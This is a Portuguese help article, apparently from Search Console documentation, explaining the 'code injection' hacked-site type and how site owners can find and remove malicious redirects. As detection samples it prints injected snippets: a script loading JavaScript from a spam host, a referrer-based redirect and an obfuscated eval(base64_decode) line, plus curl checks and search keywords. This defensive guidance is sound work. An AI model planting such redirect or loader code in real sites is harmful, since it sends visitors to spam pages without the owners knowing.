Tipo invadido: injeção de código

O que significa ter páginas marcadas com o tipo de site invadido "injeção de código" no Search Console?

Significa que um hacker comprometeu seu site e está redirecionando os visitantes desse site para o site com spam. Às vezes, apenas alguns usuários são redirecionados, com base em sua localização, site de referência ou do dispositivo usado (como um celular). O hacker pode ter injetado o código malicioso diretamente em arquivos HTML do site (por exemplo, um redirecionamento JavaScript) ou em arquivos que geram o conteúdo de seu site (por exemplo, arquivos PHP). Outra forma de o hacker redirecionar os visitantes é de modificando o arquivo de configuração do servidor. Os arquivos de configuração do servidor geralmente permitem que o administrador do site especifique redirecionamentos de URL para páginas ou diretórios específicos em um website. Por exemplo, em servidores Apache, este é o arquivo .htaccess, e tambhttpd.conf. Se você não sabe como examinar os arquivos de configuração de seu servidor, consulte Etapa 2: reúna uma equipe de suporte no processo de recuperação Ajuda para sites invadidos.

Para mais informações sobre sites comprometidos por spam, consulte Etapa 5: avalie o dano (spam).

Como posso investigar o redirecionamento nessa página?

Primeiro, evite usar um navegador para visualizar as páginas invadidas do site. Isso porque muitas vezes os hackers costumam configurar as páginas para redirecionar com base nas características do usuário, como:

  • Localização, frequentemente inferida por meio do endereço IP
  • Referenciador, como uma página de resultados de pesquisa
  • User agent, como um navegador móvel ou menos seguro

É possível confirmar o comportamento utilizando a seguinte técnica:

  • Use cURL or Wget to fetch a page:
    These freely available tools let you view the source of the page as seen by a search engine, and have the flexibility to include referrer or user-agent information. By serving spammy content only to users with specific user-agents or referrers, the hacker can target more "real people" and can better avoid detection from site owners and anti-hacking algorithms used by search engines. (Your site will need to be online to use these tools.) For example:
    $curl -v --referer "http://www.google.com/search?q=page" --user-agent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30" http://www.example.com/page.html
  • Buscar uma página com um arquivo de configuração do servidor comprometido pode retornar os seguintes cabeçalhos:

    ...
    < HTTP/1.1 301 Moved Permanently
    < Date: Sun, 24 Feb 2013 21:06:45 GMT
    < Server: Apache
    < Location: http://<spam-site>/index.html
    < Content-Length: 253
    …
    

    Ou, ao inspecionar o conteúdo da página retornada, você pode ver o código injetado assim:

    • JavaScript ou outra linguagem de script que chama e executa scripts de um site de spam: <script type='text/javascript' src='http://spam-site/js/x55.js'></script>
    • Script que redireciona o navegador para um site de spam:
      
      <script>
      if (document.referrer.match(/google\.com/)) { window.location("http://spam-site/"); } </script>
    • Código com spam que é ofuscado para evitar a detecção:
      eval(base64_decode("d2luZG93LmxvY2F0aW9uPScvL2dvb2dsZS5jb20nOw=="));

    Investigue todos os possíveis códigos suspeitos presentes no site. Pode ser útil procurar palavras como "script" para encontrar o código JavaScript. Outras palavras-chave úteis são "eval", "unescape" etc.

    Como posso limpar meu site do tipo de invasão "Injeção de código"?

    Quando estiver pronto para limpar seu site (Etapa 7 do processo de recuperação Ajuda para sites invadidos), você pode substituir os arquivos afetados pelo último backup em bom estado ou remover a injeção de código de cada página e todas as funções e arquivos relacionados a script. Se você modificar os arquivos de configuração do servidor, pode precisar reiniciar o servidor para que as alterações entrem em vigor.

    Lembre-se de que, ao mesmo tempo que limpar o tipo de invasão "injeção de código" é útil para recuperar um site invadido, isso não abrange a vulnerabilidade subjacente que permitiu ao hacker comprometer o site inicialmente. Sem corrigir a causa raiz, o site pode ser invadido novamente no futuro. Um recurso útil, por exemplo, é atualizar qualquer software que esteja executando o site, como uma instalação antiga do WordPress. Para mais informações sobre a limpeza de todo o site, não apenas o invadido, consulte a Ajuda para sites invadidos, mais especificamente em "Avaliação dos danos ao sistema de arquivos", na Etapa 5: avalie o dano (spam).

    Isso foi útil?
    Como podemos melhorá-lo?